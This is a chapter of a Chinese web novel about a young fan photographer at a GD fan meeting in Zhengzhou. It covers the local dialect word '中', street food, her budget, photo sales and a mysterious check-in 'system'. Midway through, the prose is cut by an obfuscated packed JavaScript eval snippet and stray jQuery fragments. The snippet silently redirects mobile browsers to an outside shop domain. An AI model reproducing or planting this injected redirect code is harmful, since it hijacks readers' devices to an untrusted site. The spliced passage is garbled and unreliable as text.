3月16号，周四，郑州东站。
出站口拉客的大叔围上来："小妹，坐车不？"
"不用，谢谢。"
大叔也不纠缠，丢下一句："中。"
她愣了一下，以为是什么方言的吉祥话。坐上地铁才查明白，"中"就是"行"的意思。刚落地，先学会一个字。
青旅在二七广场附近，一晚一百二。放好行李，妈妈电话来了，问吃了没。她说吃了。问学校忙不忙，她说还行。挂了电话，她没提郑州。想说，又咽回去了。
第二天早上，她是被饿醒的。青旅楼下就有一家胡辣汤店，香味顺着楼梯往上飘。
"老板娘，辣吗？"
"中。"
"……我是问，辣不辣。"
"中。"
她端着碗坐下，琢磨了半天才想通：第一个"中"是"是的"，第二个"中"是"行"。同一个字，一会儿当"是"，一会儿当"行"。她掏出记账本记了七块——胡辣汤四块，油馍头三块——又添一行小字：豫语第一课，"中"字多义，慎用。
胡辣汤碗不大，稠糊糊的，黑褐色，面上浮着香油，撒了香菜。她舀了一勺，烫，吹了吹，喝了一口。胡椒的冲劲直接往鼻子里钻，呛得她咳了半声。辣，但不是重庆那种闷棍辣，也不是长沙那种巴掌辣。这个辣是往上走的，喝完一口，额头就出了一层细汗。碗里的料不少：牛肉丁、面筋、黄花菜、木耳。面筋吸饱了汤，咬一口，汁水在嘴里炸开。她学着旁边大爷的样子，掰了半根油馍头泡进去，等它吸软了捞起来吃。油馍头炸得酥，泡了汤又韧，一口下去，两种口感打架，谁也不让谁。
她喝了个底朝天，打了个嗝，满足。
店里就四张桌子，坐的都是赶早的人。隔壁桌两个大爷就着一碗汤，能把昨天全城的事聊一遍，语速快，她一句没听懂，但听着热闹。她学着他们的样，也不玩手机，就喝汤。喝完一抹嘴，老板娘过来收碗："中！"
她回了一句："中！"
老板娘被逗笑了："这闺女，学得比说得快。"
下午，体育馆对面那家烩面馆。十二块，端上来她先愣住——碗比她脸还大。
她点的这碗没加肉，十二块，面管够。邻桌的小伙子要了大碗加肉，端上来码了厚厚一层羊肉片。她瞄了一眼，默默记下：下次加肉，多六块。
汤是白的，熬得稠，像牛奶。面一指宽，扯得又长又韧，筷子挑起来能拖出老远。她学着邻桌的吃法，先喝口汤，烫。羊肉的鲜味整个糊在舌头上，半天化不开。再加一勺辣椒油，红的在白的上面浮开，一点一点渗进去。夹起一筷子面，吸溜——面在嘴里是活的，越嚼越香。最后她把汤也喝完了。
老板娘过来收碗，看她连汤都见了底，笑："中！"
她又学到一个用法，这是夸她能吃。
郑州这场的预算，前天晚上就定好了：机票780，凌晨的特价票，便宜一百四。住宿两晚240。吃饭加市内交通，一百三。合计1,150。比上海贵三十，是深圳的五倍半。
一年前她追深圳场，预算七十，大巴往返，蹲在路边吃盒饭。现在她坐飞机，住青旅，早上喝四块钱的胡辣汤。钱也没多到哪里去，就是人踏实了。
3月17号晚上，体育馆。
她走媒体口，四十秒挂上工牌。她检查了卡，调了白平衡，把逃生通道也找好了。上回那位摄像记者教的，她记牢了。
媒体区第一排，左边是个老外，扛的镜头比她头还大。右边是个本地小姑娘，工牌上写着"大河网"。小姑娘看她举着6D，凑过来小声问："姐姐，你是哪家的？"
"……站子。"
小姑娘"哦"了一声，大概没听懂，也没再问。
见面会的流程她熟了：迷你演唱会，游戏，互动。
前半场六首歌，她拍了两张卡。游戏环节她没怎么按快门——不是不想，是笑得太厉害，手抖。五个人玩你画我猜，他画的图依旧没人猜得中，答案揭晓，是个"中"字。他自己都笑了，指着画布喊："中！"
全场跟着喊："中——！"
他愣住，转头问翻译。翻译说这是河南话，就是"好""行"的意思。他像发现了新大陆，一整晚都在用：主持人问他话，他点头："中。"粉丝喊他，他回："中！"唱完一首，他对着台下比了个大拇指："中！"
全场的"中"声此起彼伏，比荧光棒还齐。
中间还有个环节，五个人轮流学一句河南话，谁说得准谁赢。轮到他，主持人教了句"可得劲儿"，他念了三遍，一遍比一遍离谱，最后一次干脆放弃，指着自己用河南话宣布："我，中。"
全场笑疯，胜利在旁边用中文补刀："你，不中。"
他瞪了胜利一眼，胜利摊手。
这段她一张没拍，手抖。
惩罚环节，他输了一局。主持人说："用河南话，跟全场的VIP说句话。"
翻译凑过去，教了他三个字。
他拿起话筒，全场安静下来，安静得像上海那晚的前半秒。
"恁好。"
他顿了一下。
"我想……恁。"
"恁"字起高了，又压回来，音调拐了个小弯。全场先是安静——没听懂，接着有人反应过来，尖叫声一层一层拍上来，前排一个姑娘直接蹲了下去，笑得站不起来。
他没理那阵尖叫。他转头去看翻译，眼睛睁着，嘴角绷着，像交了卷的学生，等老师批改。
翻译冲他点头。
他轻轻握了下拳。
然后他拿回话筒，自己又念了一遍，这回字正腔圆：
"我想恁。"
念完，他自己点了点头，补了一个字：
"中！"
全场炸了，连老外记者都放下相机，用不知道哪国的口音跟着喊了一句"中"。
她的快门没停，但她拍的，不是他说"我想恁"的正脸——全场都在拍那个。她拍的是他转头等批改的那个瞬间。
中场换装，台上放VCR。她趁空档活动手腕，余光扫到台侧——
他一个人坐在道具箱上，手里端着杯水，没喝。低头看手机，屏幕光映在他脸上。看了一会儿，他抬起头，往看台某个方向望过去，像在找什么人。望了两秒，又低下头。
她举了相机，快门响的时候她有点心虚，旁边老外扭头看了她一眼。
回看那张图：他坐在那儿，手机光映在脸上，眼睛看向场馆深处。
他在找拍那张图的人，深圳那晚他问"这张照片是谁拍的"，没人回答。
这张，第八张，存进加密相册。
VCR播完，五个人重新上台。他走在最后，路过台侧的时候，脚步顿了一下——就半秒——往媒体区第一排的方向扫了一眼，又收回去了。
她不确定他看的是不是她，第一排坐着老外，坐着大河网的小姑娘，还有她。
快门没响，半秒不够按，可她记住了。
散场一个半小时后，她刚回青旅，手机就炸了。粉丝群里全是视频——"他学河南话""我想恁！！""中中中"。热搜上挂了个话题：#权志龙我想恁#。
有人整理了他学过的中国话：重庆"非常感谢今天来到这里的VIP"，上海"侬好"，深圳"我想你们"，郑州"我想恁"。配文：他会的每一句，都是说给粉丝听的。
底下最高赞的评论，只有一行字：
学的人得有多认真啊。
她看到这句，手指停了一下，没点赞，退出来了。
散场出来快十点，体育馆门口的小摊还亮着灯。她买了两个炸糖糕，两块钱。糖糕刚出锅，烫手，咬一口，白糖馅儿流出来，甜得直咂牙。她站在路灯底下，三口一个，吃完了才想起自己是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936231|213721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来干活的。
账本上又添一行：糖糕2。
周睿的微信："'我想恁'那组图，你拍了吧？"
"拍了。"
"发我看看。"
她把图发过去。十分钟后：
""等批改作业"那张，单独授权，加六百。"
"叫哥。"
"哥。"
"中。"
夜里十一点，她盘腿坐在上铺修图。
修到"等批改作业"那张的时候，她停了。屏幕上，他眼睛睁着，嘴角绷着，等一个答案。
她看着看着，忽然又想起那句话：学的人得有多认真啊。
她在心里把这句话过了一遍。
手指停在屏幕上，没动。
第二天早上，签到。系统弹出来：
【签到第272天。距新周期93天。奖励内容保密。】
底下还有一行：
【昨日23:41检测到心动峰值，持续七秒。已记录。】
她盯着"七秒"看了很久。
昨晚23:41……她在修图。
她没在看他，她只是看着一张照片。
她想不明白，可她知道，系统记的从来不是最热闹的时候。上海那句"请和我交往吧"没被记，记的是20:41的快门。昨晚全场喊了一整晚"中"，记的却是她盯着屏幕发呆的七秒。
她想了想，还是问了一句：
"你监测的，到底是什么？"
系统没有回答，屏幕上那行字停了两秒，慢慢淡下去。
论坛上开了个新帖。
【讨论】梨花带雨郑州场返图——她又拍到了决定性瞬间
1L【不吃香菜】：她怎么又双叒在决定性瞬间？？上海生图，深圳大屏，郑州这张"等批改作业"……说句公道话，这人的手不是手，是快门装置
2L【追星不花钱】：楼上说得我都有点想追现场了，但我连郑州在哪个方向都报不清
3L【一颗草莓糖】：图我存了，第三张那个表情！！等批改作业！！笑死我了
4L【参数党老王】：直出，还是6D，还是那个机位。这张的高光压得比上海那张还好，她这一年进步肉眼可见
5L【不吃香菜】：所以问题来了，她跟GD到底什么关系？
6L【一颗草莓糖】：同事关系吧，一个台上一个台下
7L【追星不花钱】：你说是就是
8L【不吃香菜】：你们能不能正经讨论
9L【参数党老王】：讨论什么？讨论她怎么做到场场都拍得到决定性瞬间？这题我不会
她看到9L，笑出声。
3月18号，回广州。红眼航班，她靠着窗，睡不着。
账本摊在膝盖上：
郑州行：机票780，住宿240，胡辣汤4，油馍头3，烩面12，糖糕2，公交8，水3，杂项10。合计1,062。
签到金：5,075+600=5,675；5,675?1,062=4,613。
图费应收：2,000。月底到账。
她看着"4,613"这个数，又看看"2,000"。
空姐过来问要不要饮料，她要了杯水。水是凉的，她喝了一口，忽然想起早上那碗胡辣汤——热辣辣的一口下去，整个人都醒了。
她忍不住想：明年这个时候，他会不会又学一门新的方言。她还在不在媒体区，不好说。但她大概还是会来。
机舱灯暗下来，她合上账本，闭上眼。
飞机爬升，机身微微倾斜，窗外的灯一盏一盏变小。
她在心里把那个字又过了一遍：中，中，中。
多好的一个字，行，好，对，都能说。一个眼神能抵一整句话。
不对，她不该想这个。
她把帽子往下压了压，睡了。